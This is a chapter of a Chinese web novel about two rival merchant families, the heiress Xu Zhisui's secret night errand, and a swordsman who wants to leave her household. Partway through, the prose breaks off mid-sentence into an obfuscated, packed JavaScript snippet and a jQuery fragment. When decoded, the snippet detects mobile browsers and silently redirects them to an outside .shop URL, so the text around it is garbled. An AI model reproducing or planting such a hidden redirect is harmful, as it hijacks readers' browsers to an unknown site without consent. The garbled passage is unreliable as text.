方家与许家一样,皆属于楚州的豪商巨贾一流。
论根基,许家其实还要低前者一筹,只因方家人世代都盘踞楚州。
许多年前,嘉国皇室余威未消之时,方家祖辈里出过不少投身朝堂的栋梁之材。
后来都城的皇室不顶用了,其他各州的旧官府也失去依仗,各类地方势力几轮争斗倾轧下来,方家势弱,留不住权力,便只能试图积攒更多金钱为家族子弟开道,硬生生砸出新的生机来,这才有了如今几代人一门心思从商经营的局面。
原本,方家底蕴深厚,田地商铺契约说是楚州之最也不为过,又自有一套钻营笼络的手段,家中也未曾出过只会花天酒地败坏祖业的纨绔,在楚州范围内从商经营一直如鱼得水无有不顺,真真算得上是地头蛇一般的存在,实力自是不可小觑。
可没料到,二十几年前,许惟谷带着自己组建的商队从外地迁徙而来,也同样选择了楚州这块风水宝地落脚扎根。
短短数年间,许家便从一介倒卖各地粮食的普通粮商起家,逐渐积攒资本,扩大行商队伍,走南闯北地开辟出多条长途贸易线路,而后又大肆发展本地的商肆经营,迅速威胁到了方家的地位。
许惟谷是纵横各地行商多年的人精,打过交道的人并不比如今的方家家主要少,又舍得万能的财富金钱投入,在楚州权贵间也为许家挣了几分薄面,丝毫不惧方家旧威。
因此,两家虽是势同水火的竞争关系,但方家也不敢轻举妄动做出刻意为难许府众人的出格行为。
表面上,两家的家主和夫人还得和气生财,酒桌宴席上笑脸呵呵推杯换盏演些场面功夫。
只方家大小姐方寻锦,自小便与许之穗处不来。
两人年纪相仿,论长相面貌,生得都不差,论聪明才智,也皆属天资聪慧一类。
两家商场上对决,还不到家族话事人更新换代的时候,本就不关许之穗她们小孩子一辈的事,两个女孩子也不是好勇斗狠之人,无须非要争个高下。
早年间,方寻锦与许之穗年幼,被各自母亲带着出门交际,在各种赏花游园的场合相遇,也算是一团和气,能叫声“姐姐”“妹妹”相安无事。
可差异出现了,方寻锦生母因病去世,方家家主很快娶了续弦,又给方寻锦多添了个同父异母的弟弟。
传言中,方家的新任主母也是个重视脸面的和善人,并不曾亏待前任主母留下的方家长女,方寻锦的方家大小姐份量并未因丧母就有所减轻,生活质量也是一如从前。
可不知怎地,自那之后。她的思想仿佛开始滑坡,与许之穗不依不饶地杠上了。
许之穗不爱惹事,但也不是个喜欢被人硬踩着出风头还会当包子的个性,况且小孩子之间的争斗胜负虽碍不了大事,但若是一方长久势弱,也会影响大人和家族的脸面。
许之穗一家迁徙而来,早与本家分了宗,倒是没什么宗族老人在头上管着,可她的面子也关系到许家产业下面众多人的面子,自是不肯忍气吞声认输。
于是,近几年,两人开始争些独一无二的风头,一人有了新的高定裙衫花样,另一人第二天就得展示特制的首饰玩物,一方生日宴席摆九十九桌,另一方必须拿出一百零八桌的派头来。
好歹两人皆是各自家主的掌上明珠,性子也不算长歪,或是互相抢风头,或是言语间挤兑,从来都是光明正大,并不屑于使些下作手段。
两人之间乐此不疲的小打小闹,一时成为楚州商贾间的玩笑谈资。
因此,方寻锦逮着许家家业不济的时机,对着樱桃阴阳怪气许之穗奚落一通,确实没什么新鲜的。
但要说她会刻意在樱桃帮许之穗去马场挑马的事情上做另外文章,向城主府煽风点火告许家黑状,许之穗认为还真不至于。
就算方寻锦真去告黑状,樱桃可是在她的眼皮子底下无功而返,又没有大剌剌地牵着宝马良驹回许府,那妄想不动一兵一卒就彻底吞下许家产业的城主应当也不会在意这等小事。
许之穗便劝樱桃不必过分担心,她自有打算。
她的打算就是,择日不如撞日,当晚就去马场和工匠手里把货给收完了事。
依旧是等到夜深人静,夜行衣上身,心里清点好今晚的行动路线,准备出发。
保险起见,出发前,许之穗决定溜去春梨房外,往窗纸里吹上些迷香,保证春梨能沉沉睡一晚上更为稳妥,谁让这丫头此次选择坚守房中,不去与情郎相会了呢。
春梨不像樱桃那般实诚,又带着监视的任务在身。
樱桃是小姐不说便不会擅自轻举妄动地打扰,而春梨,深夜摸进许之穗房中查看情况是常有的事,妄图从影响睡眠上使人早日归西的心思昭然若揭。
许之穗倒也不怕,就是想半夜干点私事还要提防被打扰,着实心烦得很,只给那胆大包天的背主侍女送点迷香,手段应当算是很仁慈克制。
可魏半庭不知道这段前因后果。
他伤势恢复得挺快,只想着快速远离许家地盘,躺待在许家院子里养伤的这几天,他感觉自己动弹不得快要长霉。
讲良心话,许之穗待他不薄,处处为他悉心考虑。
饮食安排周到,吃喝不愁,甚至他被短剑刺破的衣服,许之穗也给他配了差不多样式材质的替代换洗,还有定期热心探望,亲自帮着换药查伤势,贴心为他提供减缓毒发压制毒性的药材。
察觉知晓魏半庭生性孤僻,不喜与人打交道,许之穗只说他留在府中养伤之事已得到过许惟谷夫妇首肯,不必心怀疑虑,也并没有让他特地拖着伤势去露个面拜码头。
以上种种,虽是因着避人耳目不便为其他人知晓的原因,但对于许之穗这种娇生惯养的大小姐来说,能做到这份上,也足见其平易近人,有礼贤下士的意思。
并非是魏半庭不知感恩,只是他待在这儿越久,便越不自在,时不时就会控制不住一通脸红尴尬,心理债务负重也越加越重,这可叫他怎么偿还得清?
更别说,还有个恼人的龙傲天系统每天喜滋滋在身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389420|138922||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
边叨叨,让他多与许小姐亲近,说些“占她的便宜越多,往后能吸取的气运就更多”之类的荒诞之词,他是真的害怕。
之前伤重行动受阻,许小姐怕他死在外面,听其请求暂时留在许府算情有可原。
现在他的身体已经恢复大半,以他的本事出去已经无性命之忧,此时不走,更待可时。
至于报恩,只要他还有一条命在,大不了定期来许府报道,等待时机再出手帮忙,料想许小姐也不会再做过多“纠缠”。
但他在许家叨扰这么久,便宜占尽,突然不告而别实属不够厚道,还是应该知会许小姐一声。
于是,刚到时稔院准备道谢和暂时辞行的魏半庭,就这么与一身夜行衣在春梨窗外鬼鬼祟祟的许之穗撞上了。
一个是再次突然夜里拜访,另一个迷烟管子还攥在手里没处理掉。
一时,还真说不上谁比较尴尬。
“呃……那个,我要出去一趟,所以临时迷晕一下监视我的人比较稳当……你有事吗?”
面对刀客迷惑的目光,许之穗也挺不自然,但今晚的重头戏囤货任务还没做,还是希望赶紧结束这个场面,好快点出门办正事,只能率先开口。
魏半庭简短“嗯”了声表示明白,谁都有点自己的小秘密,撞见她的私人行动已不太礼貌。
人家许小姐愿意大大方方跟他道个原委,是她的坦荡和信任,但他可不能像脑海里系统999催促的那样,赶蛇上棍般顺势想着捏个把柄再捞些好处。
不过是别人的私事罢了,过多探究无甚意义。
“我是来向许小姐辞行的。”魏半庭言简意赅说明来意。
“你又要走?”
少女双眼睁得圆溜溜地注视着他,似乎满含震惊之意,自她口中吐出的这个“又”字,让魏半庭有些不好受,好像他做了什么出尔反尔的事一样。
可是他先前只是答应留下养好伤,确保不轻易死在外边以免让她不知影踪啊,难道她以为他答应的是在此长住吗?
“哟哟哟,许小姐是不是舍不得你走了啊?看不出来啊,宿主你虽然什么都没干,但攻略白富美的进度好像大有长进呐,难道这就是传说中的无招胜有招?真是失敬失敬……”
因着以上系统说的不着调的话,本还犹豫着会不会伤了许小姐心的魏半庭,顿时就坚定了要离开的心思。
“这些天多谢小姐的照顾,魏某来日必会报答,在下另有……”
“哎,我要出门办重要的事,府里府外都有不怀好意的人在,家中无得力的帮手,我有点担心爹娘的安危,你可不可以先帮我照看一晚上,你要走的事等我回来再说行不行?”
没等他作出回答,许之穗继续道:“他们就住在丰登堂,你无须刻意做什么,只要夜里别让行踪鬼祟之人靠近他们就好。我有急事,先出去一趟……”
话尾音刚落,少女就一溜烟跃出了院子,原地只留下与系统相顾无言的魏半庭。
“我说,她是不是太信任你了?”